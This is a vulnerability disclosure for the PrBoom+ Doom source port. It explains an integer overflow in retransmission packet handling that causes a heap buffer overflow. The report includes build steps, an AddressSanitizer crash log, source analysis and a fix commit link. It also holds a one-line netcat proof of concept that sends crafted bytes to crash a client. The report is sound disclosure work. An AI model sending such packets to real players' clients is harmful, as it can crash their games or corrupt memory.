When the client receives a retransmission packet, heap buffer overflow may occur because of integer overflow resulting in calculation a buffer bigger than 10000 bytes (fixed size of udp packet, src/SDL/i_network.c:92).
Tested on: Ubuntu 16.04 32 bit
Code from: https://svn.prboom.org/repos/branches/prboom-plus-24/prboom2/
Game data: FreeDM from https://freedoom.github.io/download.html
Compilation with asan:
root@ubuntu16:~/projects/prboom-plus/prboom2# sed -i 's/^CFLAGS_OPT=.*/CFLAGS_OPT="-O0 -ggdb3"/' configure.ac root@ubuntu16:~/projects/prboom-plus/prboom2# ./bootstrap root@ubuntu16:~/projects/prboom-plus/prboom2# CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix=`pwd`/bin root@ubuntu16:~/projects/prboom-plus/prboom2# make install
Starting the server:
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server Listening on port 5030, waiting for 2 players
Starting two clients:
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse
Sending a packet and causing a crash.
echo -n -e '\xb4\x05\x00\x00\x56\x33\x27\xff' | nc 10.1.1.109 1024
=================================================================
==29087==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xa9808810 at pc 0xb79cf866 bp 0xbfb754e8 sp 0xbfb750b8
WRITE of size 12354 at 0xa9808810 thread T0
#0 0xb79cf865 (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
#1 0x832078f in I_SendPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:254
#2 0x82c30bf in NetUpdate /root/projects/prboom-plus/prboom2/src/d_client.c:369
#3 0x8283048 in R_RenderPlayerView /root/projects/prboom-plus/prboom2/src/r_main.c:1126
#4 0x8175032 in D_Display /root/projects/prboom-plus/prboom2/src/d_main.c:360
#5 0x8175be9 in D_DoomLoop /root/projects/prboom-plus/prboom2/src/d_main.c:496
#6 0x817e950 in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1979
#7 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#8 0xb73b6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#9 0x804daf6 (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus+0x804daf6)
0xa9808810 is located 0 bytes to the right of 10000-byte region [0xa9806100,0xa9808810)
allocated by thread T0 here:
#0 0xb7a3cb44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
#1 0xb78c1767 (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
#2 0x82c1c84 in D_InitNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:113
#3 0x817ce49 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1723
#4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
#5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#6 0xb73b6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
Shadow bytes around the buggy address:
0x353010b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x35301100: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29087==ABORTING
From my analysis, integer overflow happens in src/d_client.c:
301 remotesend = doom_ntohl(packet->tic);
remotesend becomes a negative value, affecting calculation:
353 if (remotesend < 0) remotesend = 0;
354 sendtics = maketic - remotesend;
355 {
356 size_t pkt_size = sizeof(packet_header_t) + 2 + sendtics * sizeof(ticcmd_t);
357 packet_header_t *packet = Z_Malloc(pkt_size, PU_STATIC, NULL);
maketic grows while the game is on and after about one minute reaches value >= 1249 what is enough to calculate a size greater than 10000 bytes.
https://github.com/coelckers/prboom-plus/commit/1a081d10e6c71a5b5b2db76081227677f06b47b3